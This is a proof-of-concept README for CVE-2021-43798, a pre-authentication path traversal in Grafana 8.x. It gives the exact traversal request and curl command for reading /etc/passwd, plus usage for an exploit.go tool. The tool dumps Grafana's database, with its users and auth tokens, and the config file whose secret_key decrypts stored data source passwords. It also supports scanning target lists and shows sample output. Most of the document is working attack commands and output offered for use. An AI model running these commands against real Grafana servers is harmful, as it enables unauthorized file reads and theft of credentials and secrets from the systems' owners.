
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)
Grafana 8.x Path Traversal (Pre-Auth)
All credits go to j0v and his tweet https://twitter.com/j0v0x0/status/1466845212626542607
This is for educational purposes only. I am not responsible for your actions. Use at your own discretion.
In good faith, I've held back releasing this PoC until either this vulnerability is public or a patch is available.
I noticed a tweet by j0v claiming to have found a Grafana path traversal bug. Out of curiosity, I started looking at the Grafana source code. In the tweet, it was mentioned it was a pre-auth bug. There are only a couple of public API endpoints in Grafana, and only one of those took a file path from the user.
Grafana has a public API endpoint, /public/plugins/:pluginId, which allows you to view a plugin's assets. This works
by providing a valid :pluginId and then specifying the file path, such as img/logo.png. However, Grafana fails to
sanitize the user provided file path, leading to path traversal.
The directory being accessed is at <grafana>/public/app/plugins/panel/<pluginId>. On a standard Grafana installation,
the Grafana data directory is /usr/share/grafana. So by going back 8 directories, you can reach the filesystem root
directory.
HTTP Request:
GET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
Offending Code: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284
Note: This does not work in the browser (which automatically collapse the ../ in the path)
It can be tested with curl by using the --path-as-is argument:
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
These are some attacks that can be carried out using this vulnerability
Grafana, by default, uses a sqlite3 database. This is stored in /var/lib/grafana/grafana.db. You can use the
exploit.go script to dump this database
Example:
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db
You can then read this database to obtain users, auth tokens, and data sources.
Grafana stores its configuration in a <grafana>/conf/defaults.ini file. There are a couple of interesting values here
such as secret_key, host user password if using mysql isntead of sqlite3.
Example:
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini
Grafana encrypts all data source passwords using AES-256-CBC using the secret_key in the defaults.ini config file.
We can dump this config file, as shown above, and then decrypt the values from the database.
Grafana stores session tokens in the table auth_tokens. I haven't been able to take over a session, but if you read
the source code, you could figure it out.
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)
[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
go run exploit.go -target <target> -file <path>
go run exploit.go -target <target> -file <path> -output <file>
Note: Does not work with multiple targets
go run exploit.go -list <list> -file <path>
go run exploit.go -target <target> -dump-config
go run exploit.go -target <target> -dump-database
make build